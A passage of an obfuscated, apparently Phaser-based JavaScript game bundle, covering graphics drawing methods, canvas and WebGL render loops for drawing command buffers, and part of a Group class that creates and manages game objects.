? this['arc'](_0x35ea4d + _0x5e0fd6, _0x2f93c0 + _0x53c10d - _0x5e0fd6, _0x5e0fd6, _0x4313d6['TAU'], Math['PI']) : this['arc'](_0x35ea4d, _0x2f93c0 + _0x53c10d, _0x5e0fd6, 0x0, -_0x4313d6['TAU'], !0x0), this['lineTo'](_0x35ea4d, _0x2f93c0 + _0x126a04), this['moveTo'](_0x35ea4d, _0x2f93c0 + _0x126a04), _0xbc8ec7 ? this['arc'](_0x35ea4d + _0x126a04, _0x2f93c0 + _0x126a04, _0x126a04, -Math['PI'], -_0x4313d6['TAU']) : this['arc'](_0x35ea4d, _0x2f93c0, _0x126a04, _0x4313d6['TAU'], 0x0, !0x0), this['strokePath'](), this; }, 'fillPointShape': function (_0xb9a355, _0x3dd4e4) { return this['fillPoint'](_0xb9a355['x'], _0xb9a355['y'], _0x3dd4e4); }, 'fillPoint': function (_0x38a7f5, _0x36be95, _0x3240b8) { return !_0x3240b8 || _0x3240b8 < 0x1 ? _0x3240b8 = 0x1 : (_0x38a7f5 -= _0x3240b8 / 0x2, _0x36be95 -= _0x3240b8 / 0x2), this['commandBuffer']['push'](_0x36c555['FILL_RECT'], _0x38a7f5, _0x36be95, _0x3240b8, _0x3240b8), this; }, 'fillTriangleShape': function (_0x530ec6) { return this['fillTriangle'](_0x530ec6['x1'], _0x530ec6['y1'], _0x530ec6['x2'], _0x530ec6['y2'], _0x530ec6['x3'], _0x530ec6['y3']); }, 'strokeTriangleShape': function (_0x7aa565) { return this['strokeTriangle'](_0x7aa565['x1'], _0x7aa565['y1'], _0x7aa565['x2'], _0x7aa565['y2'], _0x7aa565['x3'], _0x7aa565['y3']); }, 'fillTriangle': function (_0x451da2, _0xb3310c, _0x19305d, _0x33f82e, _0x4dea43, _0x481f17) { return this['commandBuffer']['push'](_0x36c555['FILL_TRIANGLE'], _0x451da2, _0xb3310c, _0x19305d, _0x33f82e, _0x4dea43, _0x481f17), this; }, 'strokeTriangle': function (_0x5a89b5, _0x5b5fce, _0x7e02d6, _0x28308f, _0x5369b4, _0x41467b) { return this['commandBuffer']['push'](_0x36c555['STROKE_TRIANGLE'], _0x5a89b5, _0x5b5fce, _0x7e02d6, _0x28308f, _0x5369b4, _0x41467b), this; }, 'strokeLineShape': function (_0x40c7dc) { return this['lineBetween'](_0x40c7dc['x1'], _0x40c7dc['y1'], _0x40c7dc['x2'], _0x40c7dc['y2']); }, 'lineBetween': function (_0x1c7f41, _0x1f3f8b, _0x3ed52a, _0x54887d) { return this['beginPath'](), this['moveTo'](_0x1c7f41, _0x1f3f8b), this['lineTo'](_0x3ed52a, _0x54887d), this['strokePath'](), this; }, 'lineTo': function (_0x3cabbc, _0x139ed7) { return this['commandBuffer']['push'](_0x36c555['LINE_TO'], _0x3cabbc, _0x139ed7), this; }, 'moveTo': function (_0x46cf05, _0x281f18) { return this['commandBuffer']['push'](_0x36c555['MOVE_TO'], _0x46cf05, _0x281f18), this; }, 'strokePoints': function (_0x23f979, _0xea00c1, _0x5d8c01, _0x49a972) { void 0x0 === _0xea00c1 && (_0xea00c1 = !0x1), void 0x0 === _0x5d8c01 && (_0x5d8c01 = !0x1), void 0x0 === _0x49a972 && (_0x49a972 = _0x23f979['length']), this['beginPath'](), this['moveTo'](_0x23f979[0x0]['x'], _0x23f979[0x0]['y']); for (var _0x53986f = 0x1; _0x53986f < _0x49a972; _0x53986f++)this['lineTo'](_0x23f979[_0x53986f]['x'], _0x23f979[_0x53986f]['y']); return _0xea00c1 && this['lineTo'](_0x23f979[0x0]['x'], _0x23f979[0x0]['y']), _0x5d8c01 && this['closePath'](), this['strokePath'](), this; }, 'fillPoints': function (_0xaefd49, _0x41ba50, _0x3cd148, _0x4c47b8) { void 0x0 === _0x41ba50 && (_0x41ba50 = !0x1), void 0x0 === _0x3cd148 && (_0x3cd148 = !0x1), void 0x0 === _0x4c47b8 && (_0x4c47b8 = _0xaefd49['length']), this['beginPath'](), this['moveTo'](_0xaefd49[0x0]['x'], _0xaefd49[0x0]['y']); for (var _0x55cfa1 = 0x1; _0x55cfa1 < _0x4c47b8; _0x55cfa1++)this['lineTo'](_0xaefd49[_0x55cfa1]['x'], _0xaefd49[_0x55cfa1]['y']); return _0x41ba50 && this['lineTo'](_0xaefd49[0x0]['x'], _0xaefd49[0x0]['y']), _0x3cd148 && this['closePath'](), this['fillPath'](), this; }, 'strokeEllipseShape': function (_0x1866bb, _0x51efef) { void 0x0 === _0x51efef && (_0x51efef = 0x20); var _0x228f8b = _0x1866bb['getPoints'](_0x51efef); return this['strokePoints'](_0x228f8b, !0x0); }, 'strokeEllipse': function (_0x2b9e6a, _0x3baa98, _0x1c5b8d, _0x285d4a, _0x507a02) { void 0x0 === _0x507a02 && (_0x507a02 = 0x20); var _0x1fb2a6 = new _0x17f08d(_0x2b9e6a, _0x3baa98, _0x1c5b8d, _0x285d4a)['getPoints'](_0x507a02); return this['strokePoints'](_0x1fb2a6, !0x0); }, 'fillEllipseShape': function (_0x216804, _0x577e42) { void 0x0 === _0x577e42 && (_0x577e42 = 0x20); var _0x3dcb3b = _0x216804['getPoints'](_0x577e42); return this['fillPoints'](_0x3dcb3b, !0x0); }, 'fillEllipse': function (_0xfa747d, _0x23ee53, _0x388d73, _0x5c0c87, _0x23f617) { void 0x0 === _0x23f617 && (_0x23f617 = 0x20); var _0x29a1d0 = new _0x17f08d(_0xfa747d, _0x23ee53, _0x388d73, _0x5c0c87)['getPoints'](_0x23f617); return this['fillPoints'](_0x29a1d0, !0x0); }, 'arc': function (_0x3e1813, _0x129389, _0x4c3689, _0x5bcf15, _0x1982b7, _0x147138, _0x45347e) { return void 0x0 === _0x147138 && (_0x147138 = !0x1), void 0x0 === _0x45347e && (_0x45347e = 0x0), this['commandBuffer']['push'](_0x36c555['ARC'], _0x3e1813, _0x129389, _0x4c3689, _0x5bcf15, _0x1982b7, _0x147138, _0x45347e), this; }, 'slice': function (_0x1da38c, _0x3ed2b8, _0x48055e, _0x52434e, _0x53095e, _0x2653c3, _0x3744fc) { return void 0x0 === _0x2653c3 && (_0x2653c3 = !0x1), void 0x0 === _0x3744fc && (_0x3744fc = 0x0), this['commandBuffer']['push'](_0x36c555['BEGIN_PATH']), this['commandBuffer']['push'](_0x36c555['MOVE_TO'], _0x1da38c, _0x3ed2b8), this['commandBuffer']['push'](_0x36c555['ARC'], _0x1da38c, _0x3ed2b8, _0x48055e, _0x52434e, _0x53095e, _0x2653c3, _0x3744fc), this['commandBuffer']['push'](_0x36c555['CLOSE_PATH']), this; }, 'save': function () { return this['commandBuffer']['push'](_0x36c555['SAVE']), this; }, 'restore': function () { return this['commandBuffer']['push'](_0x36c555['RESTORE']), this; }, 'translateCanvas': function (_0x535353, _0x3da8eb) { return this['commandBuffer']['push'](_0x36c555['TRANSLATE'], _0x535353, _0x3da8eb), this; }, 'scaleCanvas': function (_0x60890c, _0x305983) { return this['commandBuffer']['push'](_0x36c555['SCALE'], _0x60890c, _0x305983), this; }, 'rotateCanvas': function (_0x16f66b) { return this['commandBuffer']['push'](_0x36c555['ROTATE'], _0x16f66b), this; }, 'clear': function () { return this['commandBuffer']['length'] = 0x0, this['defaultFillColor'] > -0x1 && this['fillStyle'](this['defaultFillColor'], this['defaultFillAlpha']), this['defaultStrokeColor'] > -0x1 && this['lineStyle'](this['defaultStrokeWidth'], this['defaultStrokeColor'], this['defaultStrokeAlpha']), this; }, 'generateTexture': function (_0x6d07e0, _0x3a3722, _0x3cd58d) { var _0x42a717, _0x3cd4a4, _0x8ee3f7 = this['scene']['sys'], _0x11a074 = _0x8ee3f7['game']['renderer']; void 0x0 === _0x3a3722 && (_0x3a3722 = _0x8ee3f7['scale']['width']), void 0x0 === _0x3cd58d && (_0x3cd58d = _0x8ee3f7['scale']['height']), _0xb8e4b2['TargetCamera']['setScene'](this['scene']), _0xb8e4b2['TargetCamera']['setViewport'](0x0, 0x0, _0x3a3722, _0x3cd58d), _0xb8e4b2['TargetCamera']['scrollX'] = this['x'], _0xb8e4b2['TargetCamera']['scrollY'] = this['y']; var _0x5aa980 = { 'willReadFrequently': !0x0 }; if ('string' == typeof _0x6d07e0) { if (_0x8ee3f7['textures']['exists'](_0x6d07e0)) { var _0x3cbad3 = (_0x42a717 = _0x8ee3f7['textures']['get'](_0x6d07e0))['getSourceImage'](); _0x3cbad3 instanceof HTMLCanvasElement && (_0x3cd4a4 = _0x3cbad3['getContext']('2d', _0x5aa980)); } else _0x3cd4a4 = (_0x42a717 = _0x8ee3f7['textures']['createCanvas'](_0x6d07e0, _0x3a3722, _0x3cd58d))['getSourceImage']()['getContext']('2d', _0x5aa980); } else _0x6d07e0 instanceof HTMLCanvasElement && (_0x3cd4a4 = _0x6d07e0['getContext']('2d', _0x5aa980)); return _0x3cd4a4 && (this['renderCanvas'](_0x11a074, this, _0xb8e4b2['TargetCamera'], null, _0x3cd4a4, !0x1), _0x42a717 && _0x42a717['refresh']()), this; }, 'preDestroy': function () { this['commandBuffer'] = []; } }); _0xb8e4b2['TargetCamera'] = new _0x2362c3(), _0x19335e['exports'] = _0xb8e4b2; }, 0x8000: (_0x3408d9, _0x533445, _0x5e00b0) => { var _0x5c820a = _0x5e00b0(0x14e58), _0x5a7f56 = _0x5e00b0(0x51be); _0x3408d9['exports'] = function (_0xbdf4e0, _0x864d26, _0x11a8ce, _0x3d997e, _0x238ec3, _0x417e8e) { var _0x278eca = _0x864d26['commandBuffer'], _0x115488 = _0x278eca['length'], _0x59c56f = _0x238ec3 || _0xbdf4e0['currentContext']; if (0x0 !== _0x115488 && _0x5a7f56(_0xbdf4e0, _0x59c56f, _0x864d26, _0x11a8ce, _0x3d997e)) { _0x11a8ce['addToRenderList'](_0x864d26); var _0x36b1e6 = 0x1, _0x49726b = 0x1, _0x29a40e = 0x0, _0x7362c2 = 0x0, _0x611e6b = 0x1, _0x54e57f = 0x0, _0x379345 = 0x0, _0x216465 = 0x0; _0x59c56f['beginPath'](); for (var _0x26070e = 0x0; _0x26070e < _0x115488; ++_0x26070e)switch (_0x278eca[_0x26070e]) { case _0x5c820a['ARC']: _0x59c56f['arc'](_0x278eca[_0x26070e + 0x1], _0x278eca[_0x26070e + 0x2], _0x278eca[_0x26070e + 0x3], _0x278eca[_0x26070e + 0x4], _0x278eca[_0x26070e + 0x5], _0x278eca[_0x26070e + 0x6]), _0x26070e += 0x7; break; case _0x5c820a['LINE_STYLE']: _0x611e6b = _0x278eca[_0x26070e + 0x1], _0x29a40e = _0x278eca[_0x26070e + 0x2], _0x36b1e6 = _0x278eca[_0x26070e + 0x3], _0x54e57f = (0xff0000 & _0x29a40e) >>> 0x10, _0x379345 = (0xff00 & _0x29a40e) >>> 0x8, _0x216465 = 0xff & _0x29a40e, _0x59c56f['strokeStyle'] = 'rgba(' + _0x54e57f + ',' + _0x379345 + ',' + _0x216465 + ',' + _0x36b1e6 + ')', _0x59c56f['lineWidth'] = _0x611e6b, _0x26070e += 0x3; break; case _0x5c820a['FILL_STYLE']: _0x7362c2 = _0x278eca[_0x26070e + 0x1], _0x49726b = _0x278eca[_0x26070e + 0x2], _0x54e57f = (0xff0000 & _0x7362c2) >>> 0x10, _0x379345 = (0xff00 & _0x7362c2) >>> 0x8, _0x216465 = 0xff & _0x7362c2, _0x59c56f['fillStyle'] = 'rgba(' + _0x54e57f + ',' + _0x379345 + ',' + _0x216465 + ',' + _0x49726b + ')', _0x26070e += 0x2; break; case _0x5c820a['BEGIN_PATH']: _0x59c56f['beginPath'](); break; case _0x5c820a['CLOSE_PATH']: _0x59c56f['closePath'](); break; case _0x5c820a['FILL_PATH']: _0x417e8e || _0x59c56f['fill'](); break; case _0x5c820a['STROKE_PATH']: _0x417e8e || _0x59c56f['stroke'](); break; case _0x5c820a['FILL_RECT']: _0x417e8e ? _0x59c56f['rect'](_0x278eca[_0x26070e + 0x1], _0x278eca[_0x26070e + 0x2], _0x278eca[_0x26070e + 0x3], _0x278eca[_0x26070e + 0x4]) : _0x59c56f['fillRect'](_0x278eca[_0x26070e + 0x1], _0x278eca[_0x26070e + 0x2], _0x278eca[_0x26070e + 0x3], _0x278eca[_0x26070e + 0x4]), _0x26070e += 0x4; break; case _0x5c820a['FILL_TRIANGLE']: _0x59c56f['beginPath'](), _0x59c56f['moveTo'](_0x278eca[_0x26070e + 0x1], _0x278eca[_0x26070e + 0x2]), _0x59c56f['lineTo'](_0x278eca[_0x26070e + 0x3], _0x278eca[_0x26070e + 0x4]), _0x59c56f['lineTo'](_0x278eca[_0x26070e + 0x5], _0x278eca[_0x26070e + 0x6]), _0x59c56f['closePath'](), _0x417e8e || _0x59c56f['fill'](), _0x26070e += 0x6; break; case _0x5c820a['STROKE_TRIANGLE']: _0x59c56f['beginPath'](), _0x59c56f['moveTo'](_0x278eca[_0x26070e + 0x1], _0x278eca[_0x26070e + 0x2]), _0x59c56f['lineTo'](_0x278eca[_0x26070e + 0x3], _0x278eca[_0x26070e + 0x4]), _0x59c56f['lineTo'](_0x278eca[_0x26070e + 0x5], _0x278eca[_0x26070e + 0x6]), _0x59c56f['closePath'](), _0x417e8e || _0x59c56f['stroke'](), _0x26070e += 0x6; break; case _0x5c820a['LINE_TO']: _0x59c56f['lineTo'](_0x278eca[_0x26070e + 0x1], _0x278eca[_0x26070e + 0x2]), _0x26070e += 0x2; break; case _0x5c820a['MOVE_TO']: _0x59c56f['moveTo'](_0x278eca[_0x26070e + 0x1], _0x278eca[_0x26070e + 0x2]), _0x26070e += 0x2; break; case _0x5c820a['LINE_FX_TO']: _0x59c56f['lineTo'](_0x278eca[_0x26070e + 0x1], _0x278eca[_0x26070e + 0x2]), _0x26070e += 0x5; break; case _0x5c820a['MOVE_FX_TO']: _0x59c56f['moveTo'](_0x278eca[_0x26070e + 0x1], _0x278eca[_0x26070e + 0x2]), _0x26070e += 0x5; break; case _0x5c820a['SAVE']: _0x59c56f['save'](); break; case _0x5c820a['RESTORE']: _0x59c56f['restore'](); break; case _0x5c820a['TRANSLATE']: _0x59c56f['translate'](_0x278eca[_0x26070e + 0x1], _0x278eca[_0x26070e + 0x2]), _0x26070e += 0x2; break; case _0x5c820a['SCALE']: _0x59c56f['scale'](_0x278eca[_0x26070e + 0x1], _0x278eca[_0x26070e + 0x2]), _0x26070e += 0x2; break; case _0x5c820a['ROTATE']: _0x59c56f['rotate'](_0x278eca[_0x26070e + 0x1]), _0x26070e += 0x1; break; case _0x5c820a['GRADIENT_FILL_STYLE']: _0x26070e += 0x5; break; case _0x5c820a['GRADIENT_LINE_STYLE']: _0x26070e += 0x6; }_0x59c56f['restore'](); } }; }, 0x15427: (_0x31eb6b, _0x2cd67c, _0x5f17b) => { var _0x288dc0 = _0x5f17b(0xae3b), _0x5bca54 = _0x5f17b(0xab37); _0x288dc0['register']('graphics', function (_0x3eff84, _0x367971) { void 0x0 === _0x3eff84 && (_0x3eff84 = {}), void 0x0 !== _0x367971 && (_0x3eff84['add'] = _0x367971); var _0x280b12 = new _0x5bca54(this['scene'], _0x3eff84); return _0x3eff84['add'] && this['scene']['sys']['displayList']['add'](_0x280b12), _0x280b12; }); }, 0x4b1: (_0x1466ce, _0x1d1d94, _0x419fdd) => { var _0x21dff6 = _0x419fdd(0xab37); _0x419fdd(0x9a05)['register']('graphics', function (_0x4417e8) { return this['displayList']['add'](new _0x21dff6(this['scene'], _0x4417e8)); }); }, 0x14a17: (_0x468fa6, _0x38b50d, _0x5a70c7) => { var _0x21d8de = _0x5a70c7(0x7433), _0x3102c8 = _0x21d8de, _0x5e1ebf = _0x21d8de; _0x3102c8 = _0x5a70c7(0x12ee9), _0x5e1ebf = _0x5a70c7(0x8000), _0x5e1ebf = _0x5a70c7(0x8000), _0x468fa6['exports'] = { 'renderWebGL': _0x3102c8, 'renderCanvas': _0x5e1ebf }; }, 0x12ee9: (_0x511e81, _0x1a8e58, _0x13df50) => { var _0x32b5e1 = _0x13df50(0x14e58), _0x1e0ef0 = _0x13df50(0x164a0), _0x226e7e = _0x13df50(0xef9c), _0x4e9ea9 = _0x13df50(0x1139a), _0x10a3f5 = function (_0x1dc936, _0x134cf4, _0x9d3736) { this['x'] = _0x1dc936, this['y'] = _0x134cf4, this['width'] = _0x9d3736; }, _0x425ef4 = function (_0x458076, _0x4d5685, _0x36b2ac) { this['points'] = [], this['pointsLength'] = 0x1, this['points'][0x0] = new _0x10a3f5(_0x458076, _0x4d5685, _0x36b2ac); }, _0x43ce81 = [], _0x2bf31d = new _0x226e7e(); _0x511e81['exports'] = function (_0xc6abc6, _0x7e9cb7, _0x5298d1, _0xd4f512) { if (0x0 !== _0x7e9cb7['commandBuffer']['length']) { _0x5298d1['addToRenderList'](_0x7e9cb7); var _0x528d22 = _0xc6abc6['pipelines']['set'](_0x7e9cb7['pipeline'], _0x7e9cb7); _0xc6abc6['pipelines']['preBatch'](_0x7e9cb7); for (var _0xba3fda = _0x1e0ef0(_0x7e9cb7, _0x5298d1, _0xd4f512)['calc'], _0x25bd03 = _0x2bf31d['loadIdentity'](), _0x3ca02a = _0x7e9cb7['commandBuffer'], _0x229359 = _0x5298d1['alpha'] * _0x7e9cb7['alpha'], _0x478a4e = 0x1, _0x23c9df = _0x528d22['fillTint'], _0x4661b6 = _0x528d22['strokeTint'], _0x3cd26f = 0x0, _0x19a02a = 0x0, _0x3ec9df = 0x0, _0x67b9fb = 0x2 * Math['PI'], _0x455f46 = [], _0x3524f1 = 0x0, _0x236c67 = !0x0, _0x38927d = null, _0x2f0a29 = _0x4e9ea9['getTintAppendFloatAlpha'], _0x53e7c4 = 0x0; _0x53e7c4 < _0x3ca02a['length']; _0x53e7c4++)switch (_0x3ca02a[_0x53e7c4]) { case _0x32b5e1['BEGIN_PATH']: _0x455f46['length'] = 0x0, _0x38927d = null, _0x236c67 = !0x0; break; case _0x32b5e1['CLOSE_PATH']: _0x236c67 = !0x1, _0x38927d && _0x38927d['points']['length'] && _0x38927d['points']['push'](_0x38927d['points'][0x0]); break; case _0x32b5e1['FILL_PATH']: for (_0x3524f1 = 0x0; _0x3524f1 < _0x455f46['length']; _0x3524f1++)_0x528d22['batchFillPath'](_0x455f46[_0x3524f1]['points'], _0x25bd03, _0xba3fda); break; case _0x32b5e1['STROKE_PATH']: for (_0x3524f1 = 0x0; _0x3524f1 < _0x455f46['length']; _0x3524f1++)_0x528d22['batchStrokePath'](_0x455f46[_0x3524f1]['points'], _0x478a4e, _0x236c67, _0x25bd03, _0xba3fda); break; case _0x32b5e1['LINE_STYLE']: _0x478a4e = _0x3ca02a[++_0x53e7c4]; var _0xc44220 = _0x2f0a29(_0x3ca02a[++_0x53e7c4], _0x3ca02a[++_0x53e7c4] * _0x229359); _0x4661b6['TL'] = _0xc44220, _0x4661b6['TR'] = _0xc44220, _0x4661b6['BL'] = _0xc44220, _0x4661b6['BR'] = _0xc44220; break; case _0x32b5e1['FILL_STYLE']: var _0x2e40b3 = _0x2f0a29(_0x3ca02a[++_0x53e7c4], _0x3ca02a[++_0x53e7c4] * _0x229359); _0x23c9df['TL'] = _0x2e40b3, _0x23c9df['TR'] = _0x2e40b3, _0x23c9df['BL'] = _0x2e40b3, _0x23c9df['BR'] = _0x2e40b3; break; case _0x32b5e1['GRADIENT_FILL_STYLE']: var _0x3b5383 = _0x3ca02a[++_0x53e7c4] * _0x229359, _0x4c9708 = _0x3ca02a[++_0x53e7c4] * _0x229359, _0x19d1cd = _0x3ca02a[++_0x53e7c4] * _0x229359, _0x892bd9 = _0x3ca02a[++_0x53e7c4] * _0x229359; _0x23c9df['TL'] = _0x2f0a29(_0x3ca02a[++_0x53e7c4], _0x3b5383), _0x23c9df['TR'] = _0x2f0a29(_0x3ca02a[++_0x53e7c4], _0x4c9708), _0x23c9df['BL'] = _0x2f0a29(_0x3ca02a[++_0x53e7c4], _0x19d1cd), _0x23c9df['BR'] = _0x2f0a29(_0x3ca02a[++_0x53e7c4], _0x892bd9); break; case _0x32b5e1['GRADIENT_LINE_STYLE']: _0x478a4e = _0x3ca02a[++_0x53e7c4]; var _0x432c39 = _0x3ca02a[++_0x53e7c4] * _0x229359; _0x4661b6['TL'] = _0x2f0a29(_0x3ca02a[++_0x53e7c4], _0x432c39), _0x4661b6['TR'] = _0x2f0a29(_0x3ca02a[++_0x53e7c4], _0x432c39), _0x4661b6['BL'] = _0x2f0a29(_0x3ca02a[++_0x53e7c4], _0x432c39), _0x4661b6['BR'] = _0x2f0a29(_0x3ca02a[++_0x53e7c4], _0x432c39); break; case _0x32b5e1['ARC']: var _0xcb530a = 0x0, _0x14df0e = _0x3ca02a[++_0x53e7c4], _0x3935df = _0x3ca02a[++_0x53e7c4], _0x164379 = _0x3ca02a[++_0x53e7c4], _0x44c1f8 = _0x3ca02a[++_0x53e7c4], _0x1d0366 = _0x3ca02a[++_0x53e7c4], _0x4b5a97 = _0x3ca02a[++_0x53e7c4], _0x16931f = _0x3ca02a[++_0x53e7c4]; for (_0x1d0366 -= _0x44c1f8, _0x4b5a97 ? _0x1d0366 < -_0x67b9fb ? _0x1d0366 = -_0x67b9fb : _0x1d0366 > 0x0 && (_0x1d0366 = _0x1d0366 % _0x67b9fb - _0x67b9fb) : _0x1d0366 > _0x67b9fb ? _0x1d0366 = _0x67b9fb : _0x1d0366 < 0x0 && (_0x1d0366 = _0x67b9fb + _0x1d0366 % _0x67b9fb), null === _0x38927d && (_0x38927d = new _0x425ef4(_0x14df0e + Math['cos'](_0x44c1f8) * _0x164379, _0x3935df + Math['sin'](_0x44c1f8) * _0x164379, _0x478a4e), _0x455f46['push'](_0x38927d), _0xcb530a += 0.01); _0xcb530a < 0x1 + _0x16931f;)_0x3ec9df = _0x1d0366 * _0xcb530a + _0x44c1f8, _0x3cd26f = _0x14df0e + Math['cos'](_0x3ec9df) * _0x164379, _0x19a02a = _0x3935df + Math['sin'](_0x3ec9df) * _0x164379, _0x38927d['points']['push'](new _0x10a3f5(_0x3cd26f, _0x19a02a, _0x478a4e)), _0xcb530a += 0.01; _0x3ec9df = _0x1d0366 + _0x44c1f8, _0x3cd26f = _0x14df0e + Math['cos'](_0x3ec9df) * _0x164379, _0x19a02a = _0x3935df + Math['sin'](_0x3ec9df) * _0x164379, _0x38927d['points']['push'](new _0x10a3f5(_0x3cd26f, _0x19a02a, _0x478a4e)); break; case _0x32b5e1['FILL_RECT']: _0x528d22['batchFillRect'](_0x3ca02a[++_0x53e7c4], _0x3ca02a[++_0x53e7c4], _0x3ca02a[++_0x53e7c4], _0x3ca02a[++_0x53e7c4], _0x25bd03, _0xba3fda); break; case _0x32b5e1['FILL_TRIANGLE']: _0x528d22['batchFillTriangle'](_0x3ca02a[++_0x53e7c4], _0x3ca02a[++_0x53e7c4], _0x3ca02a[++_0x53e7c4], _0x3ca02a[++_0x53e7c4], _0x3ca02a[++_0x53e7c4], _0x3ca02a[++_0x53e7c4], _0x25bd03, _0xba3fda); break; case _0x32b5e1['STROKE_TRIANGLE']: _0x528d22['batchStrokeTriangle'](_0x3ca02a[++_0x53e7c4], _0x3ca02a[++_0x53e7c4], _0x3ca02a[++_0x53e7c4], _0x3ca02a[++_0x53e7c4], _0x3ca02a[++_0x53e7c4], _0x3ca02a[++_0x53e7c4], _0x478a4e, _0x25bd03, _0xba3fda); break; case _0x32b5e1['LINE_TO']: null !== _0x38927d ? _0x38927d['points']['push'](new _0x10a3f5(_0x3ca02a[++_0x53e7c4], _0x3ca02a[++_0x53e7c4], _0x478a4e)) : (_0x38927d = new _0x425ef4(_0x3ca02a[++_0x53e7c4], _0x3ca02a[++_0x53e7c4], _0x478a4e), _0x455f46['push'](_0x38927d)); break; case _0x32b5e1['MOVE_TO']: _0x38927d = new _0x425ef4(_0x3ca02a[++_0x53e7c4], _0x3ca02a[++_0x53e7c4], _0x478a4e), _0x455f46['push'](_0x38927d); break; case _0x32b5e1['SAVE']: _0x43ce81['push'](_0x25bd03['copyToArray']()); break; case _0x32b5e1['RESTORE']: _0x25bd03['copyFromArray'](_0x43ce81['pop']()); break; case _0x32b5e1['TRANSLATE']: _0x14df0e = _0x3ca02a[++_0x53e7c4], _0x3935df = _0x3ca02a[++_0x53e7c4], _0x25bd03['translate'](_0x14df0e, _0x3935df); break; case _0x32b5e1['SCALE']: _0x14df0e = _0x3ca02a[++_0x53e7c4], _0x3935df = _0x3ca02a[++_0x53e7c4], _0x25bd03['scale'](_0x14df0e, _0x3935df); break; case _0x32b5e1['ROTATE']: _0x25bd03['rotate'](_0x3ca02a[++_0x53e7c4]); }_0xc6abc6['pipelines']['postBatch'](_0x7e9cb7); } }; }, 0x676f: (_0x2b9f12, _0x5cc8d1, _0x511381) => { var _0x51945f = _0x511381(0xee85), _0x3456cf = _0x511381(0x145db), _0xab54e2 = _0x511381(0xc9fc), _0x4845c2 = _0x511381(0xc668), _0x27c70c = _0x511381(0xb676), _0x588806 = _0x511381(0x17534), _0x4f1872 = _0x511381(0x8952), _0x4a4d8e = _0x511381(0x17afe), _0x451717 = _0x511381(0xa0fc), _0x3835c8 = _0x511381(0x159ac), _0x2e3d31 = _0x511381(0x8900), _0x1e967e = _0x511381(0x10abf), _0x54f303 = new _0x3456cf({ 'Extends': _0x4845c2, 'initialize': function (_0x2716cc, _0x2389e8, _0x45a249) { _0x4845c2['call'](this), _0x45a249 ? _0x2389e8 && !Array['isArray'](_0x2389e8) && (_0x2389e8 = [_0x2389e8]) : Array['isArray'](_0x2389e8) ? _0x451717(_0x2389e8[0x0]) && (_0x45a249 = _0x2389e8, _0x2389e8 = null) : _0x451717(_0x2389e8) && (_0x45a249 = _0x2389e8, _0x2389e8 = null), this['scene'] = _0x2716cc, this['children'] = new _0x2e3d31(), this['isParent'] = !0x0, this['type'] = 'Group', this['classType'] = _0x588806(_0x45a249, 'classType', _0x1e967e), this['name'] = _0x588806(_0x45a249, 'name', ''), this['active'] = _0x588806(_0x45a249, 'active', !0x0), this['maxSize'] = _0x588806(_0x45a249, 'maxSize', -0x1), this['defaultKey'] = _0x588806(_0x45a249, 'defaultKey', null), this['defaultFrame'] = _0x588806(_0x45a249, 'defaultFrame', null), this['runChildUpdate'] = _0x588806(_0x45a249, 'runChildUpdate', !0x1), this['createCallback'] = _0x588806(_0x45a249, 'createCallback', null), this['removeCallback'] = _0x588806(_0x45a249, 'removeCallback', null), this['createMultipleCallback'] = _0x588806(_0x45a249, 'createMultipleCallback', null), this['internalCreateCallback'] = _0x588806(_0x45a249, 'internalCreateCallback', null), this['internalRemoveCallback'] = _0x588806(_0x45a249, 'internalRemoveCallback', null), _0x2389e8 && this['addMultiple'](_0x2389e8), _0x45a249 && this['createMultiple'](_0x45a249), this['on'](_0xab54e2['ADDED_TO_SCENE'], this['addedToScene'], this), this['on'](_0xab54e2['REMOVED_FROM_SCENE'], this['removedFromScene'], this); }, 'addedToScene': function () { this['scene']['sys']['updateList']['add'](this); }, 'removedFromScene': function () { this['scene']['sys']['updateList']['remove'](this); }, 'create': function (_0x3f2b27, _0x346b1a, _0x2364cb, _0x817dfd, _0x34fc2a, _0x482595) { if (void 0x0 === _0x3f2b27 && (_0x3f2b27 = 0x0), void 0x0 === _0x346b1a && (_0x346b1a = 0x0), void 0x0 === _0x2364cb && (_0x2364cb = this['defaultKey']), void 0x0 === _0x817dfd && (_0x817dfd = this['defaultFrame']), void 0x0 === _0x34fc2a && (_0x34fc2a = !0x0), void 0x0 === _0x482595 && (_0x482595 = !0x0), this['isFull']()) return null; var _0x2a1420 = new this['classType'](this['scene'], _0x3f2b27, _0x346b1a, _0x2364cb, _0x817dfd); return _0x2a1420['addToDisplayList'](this['scene']['sys']['displayList']), _0x2a1420['addToUpdateList'](), _0x2a1420['visible'] = _0x34fc2a, _0x2a1420['setActive'](_0x482595), this['add'](_0x2a1420), _0x2a1420; }, 'createMultiple': function (_0x3d1773) { if (this['isFull']()) return []; Array['isArray'](_0x3d1773) || (_0x3d1773 = [_0x3d1773]); var _0x4d02fb = []; if (_0x3d1773[0x0]['key']) for (var _0x50e919 = 0x0; _0x50e919 < _0x3d1773['length']; _0x50e919++) { var _0x2b3ea8 = this['createFromConfig'](_0x3d1773[_0x50e919]); _0x4d02fb = _0x4d02fb['concat'](_0x2b3ea8); } return _0x4d02fb; }, 'createFromConfig': function (_0x1632ff) { if (this['isFull']()) return []; this['classType'] = _0x588806(_0x1632ff, 'classType', this['classType']); var _0x112d56 = _0x588806(_0x1632ff, 'key', void 0x0), _0x345409 = _0x588806(_0x1632ff, 'frame', null), _0x3685b5 = _0x588806(_0x1632ff, 'visible', !0x0), _0x31aee1 = _0x588806(_0x1632ff, 'active', !0x0), _0x3434ea = []; if (void 0x0 === _0x112d56) return _0x3434ea; Array['isArray'](_0x112d56) || (_0x112d56 = [_0x112d56]), Array['isArray'](_0x345409) || (_0x345409 = [_0x345409]); var _0x120052 = _0x588806(_0x1632ff, 'repeat', 0x0), _0x5b8faa = _0x588806(_0x1632ff, 'randomKey', !0x1), _0x3c331f = _0x588806(_0x1632ff, 'randomFrame', !0x1), _0x3bf5fc = _0x588806(_0x1632ff, 'yoyo', !0x1), _0xfdc1e3 = _0x588806(_0x1632ff, 'quantity', !0x1), _0x285a5d = _0x588806(_0x1632ff, 'frameQuantity', 0x1), _0x5e2f66 = _0x588806(_0x1632ff, 'max', 0x0), _0x26edbd = _0x3835c8(_0x112d56, _0x345409, { 'max': _0x5e2f66, 'qty': _0xfdc1e3 || _0x285a5d, 'random': _0x5b8faa, 'randomB': _0x3c331f, 'repeat': _0x120052, 'yoyo': _0x3bf5fc }); _0x1632ff['createCallback'] && (this['createCallback'] = _0x1632ff['createCallback']), _0x1632ff['removeCallback'] && (this['removeCallback'] = _0x1632ff['removeCallback']), _0x1632ff['internalCreateCallback'] && 